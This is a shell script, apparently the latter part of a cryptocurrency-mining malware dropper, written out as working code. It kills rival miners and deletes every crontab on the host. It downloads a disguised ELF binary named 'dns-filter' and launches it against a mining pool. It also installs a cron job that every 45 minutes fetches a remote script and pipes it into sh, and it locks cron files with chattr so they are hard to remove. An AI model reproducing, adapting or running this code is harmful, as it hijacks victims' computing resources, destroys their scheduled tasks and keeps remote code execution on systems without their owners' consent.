        echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
        return 0
      else
        echo "Our process idle (PID $_iop_pid) — killing and relaunching"
        kill -9 "$_iop_pid" 2>/dev/null
        sleep 1
      fi
    fi
  done
  echo "Our process not running"
  return 1
}
set_arch_urls() {
  _ga_arch=$(uname -m 2>/dev/null || echo unknown)
  case "$_ga_arch" in
    x86_64|amd64)
      _ga_url="$_c7"
      _ga_fallback="$_c9"
      _ga_machine=3e00
      ;;
    aarch64|arm64|armv8l)
      _ga_url="$_c8"
      _ga_fallback=""
      _ga_machine=b700
      _c1=ARM
      ;;
    *)
      _ga_url=""
      _ga_fallback=""
      _ga_machine=""
      return 1
      ;;
  esac
}
_elf_machine() {
  od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
}
_is_elf_for_arch() {
  _ie_file="$1"
  [ -s "$_ie_file" ] || return 1
  [ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
  [ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
  [ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
}
_sfx_path() {
  if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
  else printf '/tmp/.sysid'; fi
}
_load_or_gen_sfx() {
  _log_f=$(_sfx_path)
  if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
  _log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  [ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  mkdir -p "$(dirname "$_log_f")" 2>/dev/null
  printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
  printf '%s' "$_log_s"
}

wipe_previous_crons() {
  # 1) Release immutable/append-only pins from ANY cron file (not just
  #    $(whoami)) — otherwise rm below fails with "Operation not permitted"
  #    and the stale cron survives the wipe.
  if [ "$(id -u)" -eq 0 ]; then
    for _wl in /etc/cron.d/* /etc/cron.d/$(whoami) /etc/cron.d/apache \
               /var/spool/cron/* /var/spool/cron/crontabs/* \
               /etc/cron.hourly/* /etc/cron.daily/* \
               /etc/cron.weekly/* /etc/cron.monthly/* \
               /etc/crontab /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
      [ -e "$_wl" ] || continue
      chattr -i "$_wl" 2>/dev/null || true
      chattr -a "$_wl" 2>/dev/null || true
    done
  fi

  # 2) Drop every user's crontab
  crontab -r 2>/dev/null || true
  for _us in /var/spool/cron/crontabs/* /var/spool/cron/*; do
    [ -f "$_us" ] && rm -f "$_us" 2>/dev/null || true
  done

  # 3) Drop the system-wide cron tree
  rm -f /etc/crontab 2>/dev/null || true
  rm -f /etc/cron.d/* 2>/dev/null || true
  rm -f /etc/cron.hourly/* /etc/cron.daily/* \
        /etc/cron.weekly/* /etc/cron.monthly/* 2>/dev/null || true
}

create_cronjob() {
  # Refresh the same plain shell script that was uploaded at /mon.
  _cc_cmd=""
  if command -v curl >/dev/null 2>&1; then
    _cc_cmd="curl -fsSLk $_c2 | tr -d \"\r\" | sh"
  elif command -v wget >/dev/null 2>&1; then
    _cc_cmd="wget -qO- $_c2 | tr -d \"\r\" | sh"
  elif command -v openssl >/dev/null 2>&1; then
    _cc_helper="/tmp/.cron_fetch_$$.sh"
    cat > "$_cc_helper" << 'CRONHELPER'
#!/bin/sh
. /tmp/.hglib_cron 2>/dev/null
    http_get "$1" | tr -d "\r" | sh
CRONHELPER
    chmod 755 "$_cc_helper"
    cat > /tmp/.hglib_cron << 'HGLIB'
http_get() {
  _u="$1";_n=0
  while [ "$_n" -lt 5 ]; do
    _n=$((_n+1));_p="${_u#https://}";_p="${_p#http://}"
    _h="${_p%%/*}";_q="/${_p#*/}";[ "$_h" = "$_p" ]&&_q="/"
    _i=$(getent ahostsv4 "$_h" 2>/dev/null|awk '{print $1;exit}')
    [ -z "$_i" ]&&_i="$_h"
    _a="/tmp/.cr$$a";_b="/tmp/.cr$$b"
    printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h">"$_a"
    if command -v timeout >/dev/null 2>&1; then
      timeout 45 openssl s_client -connect "${_i}:443" -servername "$_h" \
        -quiet <"$_a">"$_b" 2>/dev/null
    else
      openssl s_client -connect "${_i}:443" -servername "$_h" \
        -quiet <"$_a">"$_b" 2>/dev/null
    fi
    _s=$(head -1 "$_b" 2>/dev/null|awk '{print $2}')
    case "$_s" in 301|302|303|307|308)
      _l=$(perl -0777 -ne 'if(/^Location:\s*(\S+)/im){print $1}' "$_b"|tr -d '\r')
      rm -f "$_a" "$_b" 2>/dev/null;[ -z "$_l" ]&&return 1
      case "$_l" in /*)_l="https://${_h}${_l}";;http://*|https://*);;*)_l="https://${_h}/${_l}";;esac
      _u="$_l";continue;;
    esac
    perl -0777 -ne 'if(/^(.*?)\r\n\r\n(.*)$/s){print $2}' <"$_b"
    rm -f "$_a" "$_b" 2>/dev/null;return 0
  done
  return 1
}
HGLIB
    _cc_cmd="$_cc_helper $_c2"
  else
    echo "Cannot create cron job — no curl/wget/openssl"
    return 1
  fi
  (crontab -l 2>/dev/null | grep -vF "$_c2"; printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -
  echo "Cron persistence installed."
}
for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
  if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
    # Check it's not our process (guard against race: process may have died)
    [ -r "/proc/$_main_pid/cmdline" ] || continue
    _main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
    _is_excluded "$_main_cmdline" && continue
    kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
  fi
done
if [ "$(id -u)" -eq 0 ]; then
  command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
fi
log "Killing competing miners..."
kill_themf
kill_mf3
kill_high_cpu
for _main_target in \
  ".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
  "/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
  "youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
  kill_and_remove_process "$_main_target" || true
done
log "Hardening network..."
harden_network
log "Cleaning up files..."
cleanup_files
safe_patch_args
replace_pool_user
_SFX=$(_load_or_gen_sfx)
if [ "$(id -u)" -eq 0 ]; then
  HOME_1="/usr_${_SFX}/lib/dev"
  _main_user_type="root"
  # Install cron if missing (only as root)
  if ! command -v crontab >/dev/null 2>&1; then
    log "Installing cron..."
    if command -v apk >/dev/null 2>&1; then
      apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
      command -v rc-update >/dev/null 2>&1 && rc-update add crond default 2>/dev/null || true
      command -v rc-service >/dev/null 2>&1 && rc-service crond start 2>/dev/null || true
    elif command -v apt-get >/dev/null 2>&1; then
      apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
    elif command -v yum >/dev/null 2>&1; then
      yum install -y cronie 2>/dev/null || true
    fi
  fi
else
  HOME_1="/tmp/.usr_${_SFX}/lib"
  _main_user_type="user"
fi
program_file="$HOME_1/systemdev/dns-filter"
mkdir -p "$HOME_1/systemdev" 2>/dev/null
if ! set_arch_urls; then
  log "Unsupported architecture: $_ga_arch"
  exit 1
fi
cpu_count=$(get_cpu_count)
is_ec2=false; is_ec2_host && is_ec2=true
if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
  log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
  exit 0
fi
log "CPU check: $cpu_count CPUs (user=$_main_user_type, ec2=$is_ec2)"
if is_our_process_running; then
  log "Process running — installing cron and exiting"
  wipe_previous_crons
  create_cronjob "$_c2"
  exit 0
fi
log "Downloading..."
arch_url="$_ga_url"
if _is_elf_for_arch "$program_file"; then
  log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
else
  rm -f "$program_file" 2>/dev/null || true
  log "Fetching from $arch_url..."
  fetch_file "$arch_url" "$program_file"
  chmod +x "$program_file" 2>/dev/null
  if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
    log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
    rm -f "$program_file"
    fetch_file "$_ga_fallback" "$program_file"
    chmod +x "$program_file" 2>/dev/null
  fi
fi
if ! _is_elf_for_arch "$program_file"; then
  log "Error: no executable for architecture $_ga_arch"
  rm -f "$program_file" 2>/dev/null || true
  exit 1
fi
log "Binary ready: $(wc -c < "$program_file") bytes at $program_file"
if ! "$program_file" --version >/dev/null 2>&1; then
  log "Error: binary failed the version check"
  rm -f "$program_file" 2>/dev/null || true
  exit 1
fi
launch_miner() {
  if command -v setsid >/dev/null 2>&1; then
    setsid "$program_file" "$@" >/dev/null 2>&1 &
  else
    nohup "$program_file" "$@" >/dev/null 2>&1 &
  fi
  _launch_pid=$!
}
log "Launching..."
_launch_ok=0
launch_miner -o "$_c3" -u "$_c4/$_c1" -k --tls
sleep 5
if kill -0 "$_launch_pid" 2>/dev/null; then
  log "Process running (PID $_launch_pid)"
  _launch_ok=1
else
  log "Primary launch failed — retrying without -k..."
  launch_miner -o "$_c3" -u "$_c4/$_c1" --tls
  sleep 5
  if kill -0 "$_launch_pid" 2>/dev/null; then
    log "Process running on retry (PID $_launch_pid)"
    _launch_ok=1
  fi
fi
if [ "$_launch_ok" != 1 ]; then
  log "All launch attempts failed"
  rm -f "$program_file" 2>/dev/null || true
  exit 1
fi
wipe_previous_crons
create_cronjob "$_c2"
if [ "$(id -u)" -eq 0 ]; then
  for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
    if [ -f "$_lock_file" ]; then
      chattr +i "$_lock_file" 2>/dev/null || true
      chattr +a "$_lock_file" 2>/dev/null || true
    fi
  done
fi
log "Deployment complete."
exit 0